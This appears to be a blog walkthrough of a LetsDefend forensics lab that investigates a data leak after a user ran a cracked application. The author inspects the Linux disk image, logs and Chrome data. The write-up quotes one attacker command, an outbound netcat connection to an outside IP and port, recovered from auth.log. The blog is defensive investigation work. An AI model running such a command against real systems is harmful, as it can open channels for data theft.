July 19, 2024
For this challenge, we will need to analyze a Linux disk image using FTK Imager. We’ll connect to the machine using RDP and analyze various system files to identify system information and activity.
Dean downloaded a cracked software application from an unofficial source and subsequently discovered that his personal data has been leaked. An investigation is now underway to determine the cause of the data leak and mitigate any potential damage.
Although you can access LetsDefend VMs through the browser, I generally prefer using RDP/SCP for most challenges. For the Windows-based labs on LetsDefend, we can use RDP to connect from our host of choice. On Linux machines, we can copy the files through SCP.
Why use SCP/RDP?SCP and RDP allow us to copy files to and from the lab environment. This allows us to work with our preferred tooling in an environment that may be more familiar and natural. RDP also allows for scaling the screen and copying text, which can sometimes be an issue within the lab environment.This is exceptionally useful when you have a forensic-focused VM with all your tools installed, which can open many additional paths than are available within the provided VM.
Why use SCP/RDP?
SCP and RDP allow us to copy files to and from the lab environment. This allows us to work with our preferred tooling in an environment that may be more familiar and natural. RDP also allows for scaling the screen and copying text, which can sometimes be an issue within the lab environment.
This is exceptionally useful when you have a forensic-focused VM with all your tools installed, which can open many additional paths than are available within the provided VM.
For this example, I’ll be using Remmina in a Kali VM to RDP to connect to the lab environment.
After launching the VM, click the yellow flag icon. This will display the Username, Password, and IP address that we’ll use to connect.
In my instance, my username is LetsDefend, there is no password set, and the Hostname displays the IP address I will use to connect.
Once connected, toggle the window scaling by pressing the corresponding button on the left-hand side of the display.
And with that, we’re ready to start the challenge.
For this challenge, we’re given a 7zip file containing a disk image.
Extract the file with 7zip, and load it into FTK Imager.
What distribution system was used by the victim, including its version?
The /etc/ directory in Linux contains many configuration files, amongst them are a few files that typically list details of the host operating systems.
Often times we would find the /etc/os-release file, which lists the operating system, version number, version codename, and other related information.
Our evidence, however, does not contain an os-release file so we’ll have to look for an alternative. Another common file is the /etc/lsb-release file. This time we’re in luck.
What is the SHA256 hash of the crack file that was downloaded?
We’ll start by checking for low-hanging fruit. The .bash_history file contains a list of commands run by a user. The file is located in the home directory of each user account.
Unfortunately, there wasn’t much of value for us in the bash history; but we can see that the user ran the crack file.
We’ll look around the other common user directories for anything valuable.
We find it in the user’s Desktop directory.
Export the file by right-clicking it. We can use the PowerShell cmdlet Get-FileHash to calculate the sha256 hash.
What is the IP address and port used by the attacker?
For this task, we’ll look for traces left by the attacker in log files.
/var/log/ is where most log files are stored on Linux systems, so we’ll start there.
Apache2 logs may be a good place to start, but the access logs are empty and the error logs contain nothing of interest.
We may have struck out on the apache logs, there is a very valuable Linux log we should check.
The auth.log file logs many different types of events, including password changes, sudo usage, ssh connections, and many others.
We’ll check this file for any commands that were run that we didn’t see in bash_history.
To make it easier to decipher, we’ll export the file and parse it with PowerShell.
To do so, export the file to the desktop and open PowerShell.
We’ll use the cat command to read the file, and we’ll search for any strings that contain the word COMMAND. This will list any commands run with sudo.
Looking through the results, we can see a very suspicious command being run to create a netcat connection.
What is the specific tool or software employed by the attacker?
In our findings for Q3, we discovered an outbound netcat connection using the command nc -n 192.168.229.129 201.
You can view more information on netcat here: https://docs.oracle.com/cd/E86824_01/html/E54763/netcat-1.html
Which was the year of the last use of the Dean account?
Without much to go on, we’ll continue searching the auth.log file.
Luckily, a simple search for dean returns one entry. A tar command to the google-chrome config folder in /home/o.
If we navigate to the discovered file path in FTK Imager, we can see the file exists. The text preview also shows us that this is a SQLite file.
We’ll export the file and analyze it elsewhere. LetsDefend provided us with the DB Browser for SQLite tool which we can use to analyze the data.
Once the data is imported to DB Browser, we can inspect the login date.
Timestamps are often in epoch time, which this appears to be, so we’ll need to convert it.
To convert the timestamp we can use https://www.epochconverter.com/#tools.
Converting from standard epoch time gives us 1970, which is, probably not the last time Dean logged in.
Thinking back on the data, we located this in the Chrome config directory. Aside from Epoch time, there is a common timestamp specific to chrome, and thankfully epochcoverter.com has a tool for that too. https://www.epochconverter.com/webkit
Previous post
Next post